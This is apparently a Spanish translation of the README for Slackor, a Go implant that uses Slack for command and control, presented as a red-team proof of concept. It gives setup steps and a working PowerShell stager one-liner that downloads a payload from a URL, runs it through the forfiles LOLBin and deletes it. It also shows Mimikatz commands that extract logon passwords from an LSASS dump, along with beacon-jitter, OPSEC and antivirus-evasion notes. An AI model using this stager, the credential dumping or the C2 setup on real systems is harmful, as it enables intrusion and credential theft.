
Un implante en Golang que utiliza Slack como servidor de comando y control.
Mantenido en https://github.com/n00py/Slackor
Un implante en Golang que usa Slack como canal de comando y control.
Este proyecto fue inspirado por Gcat y Twittor.
Esta herramienta se publica como prueba de concepto. Asegúrese de leer y comprender la Política de Desarrollador de Aplicaciones de Slack antes de crear cualquier aplicación de Slack.
Nota: El servidor está escrito en Python 3
Para que esto funcione necesitas:
Un espacio de trabajo de Slack
Registra una aplicación con los siguientes permisos:
Crea un bot
Este repositorio contiene cinco archivos:
install.sh Instala dependenciassetup.py El script para crear los canales de Slack, la base de datos y el implanteagent.py Script para generar nuevos implantesserver.py El servidor Slackor, diseñado para ejecutarse en Linuxagent.go El implante en golangrequirements.txt Dependencias de Python (instaladas automáticamente)Para empezar:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
Después de ejecutar el script correctamente, se crearán varios archivos en el directorio dist/:
agent.windows.exe: Binario de Windows 64 bitsagent.upx.exe: Binario de Windows 64 bits, empaquetado con UPXagent.darwin: Binario de macOS 64 bitsagent.32.linux: Binario de Linux 32 bitsagent.64.linux: Binario de Linux 64 bitsDespués de iniciar server.py en un host Linux, ejecuta el agente que corresponda para tu host objetivo.
Ejecuta el módulo "stager" para generar un one-liner y otros droppers.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
Esto ejecutará InvokeWebRequest(PS v.3+) para descargar el payload, ejecutarlo usando un LOLBin, y luego eliminarse a sí mismo una vez terminado. Este es un ejemplo funcional, pero el comando se puede ajustar para usar otro método de descarga o ejecución.
Escribe "help" o presiona [TAB] para ver una lista de comandos disponibles. Escribe "help [COMANDO]" para ver una descripción de ese comando.
(Slackor)
Una vez que un agente se registra, puedes interactuar con él. Usa "interact [AGENTE]" para ingresar al prompt del agente. Escribe "help" o presiona [TAB] para ver una lista de comandos disponibles.
(Slackor:AGENTE)
La salida de comandos y los archivos descargados están cifrados con AES además del cifrado de transporte TLS de Slack.
Los módulos te advertirán antes de realizar tareas que escriban en disco.
Al ejecutar comandos de shell, ten en cuenta que se ejecutará cmd.exe/bash. Esto puede ser monitoreado en el host.
Aquí hay varios comandos seguros para OPSEC que NO ejecutarán cmd.exe/bash:
¿Es seguro usarlo para equipos rojos/pruebas de penetración?
Sí, bajo ciertas condiciones. Aunque los datos están cifrados en tránsito, el agente contiene la clave para el descifrado. Cualquier persona que adquiera una copia del agente podría aplicar ingeniería inversa y extraer las claves de API y la clave secreta AES. Cualquier persona que comprometa o de otra manera obtenga acceso al espacio de trabajo podría recuperar todos los datos dentro de él. Por esta razón, no se recomienda reutilizar la infraestructura contra múltiples organizaciones.
¿Qué pasa con Mimikatz?
El implante no tiene funcionalidad de volcado de contraseñas en memoria. Si necesitas logonPasswords, puedes probar lo siguiente:
(Slackor: AGENTE)minidump
Esto extraerá automáticamente contraseñas con Pypykatz. Alternativamente, puedes usar Mimikatz en Windows.
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
¿Es multiplataforma?
Tiene soporte multiplataforma limitado. No ha sido completamente probado en todos los sistemas en los que se puede ejecutar. El servidor fue diseñado para ejecutarse en Kali Linux. El agente está compilado para Windows, Mac y Linux, pero ha sido probado principalmente con Windows 10. Los agentes pueden manejar incorrectamente comandos que no son compatibles con la plataforma de ese agente (no intentes hacer un minidump en un Mac).
¿Qué tan bien escala?
La escalabilidad está limitada por la API de Slack. Si tienes múltiples agentes, considera aumentar el intervalo de baliza de las balizas no utilizadas.
¿Es vulnerable al análisis estándar de balizas?
Actualmente cada baliza tiene un 20% de jitter incorporado, y los tiempos de baliza se pueden personalizar. Los paquetes de solicitud y respuesta de check-in del agente tendrán aproximadamente el mismo tamaño cada vez mientras no se reciban nuevos comandos.
¿Por qué hiciste [x] cuando una mejor manera de hacerlo es [y]?
Hice lo mejor que pude. ¡Se animan los PRs :)
¡Es detectado por el antivirus!
Con esto siendo ahora de código abierto, es probable que tenga problemas. Arreglaré los módulos en la medida de lo posible, pero no hay garantía de que esto evite todo el AV en todo momento.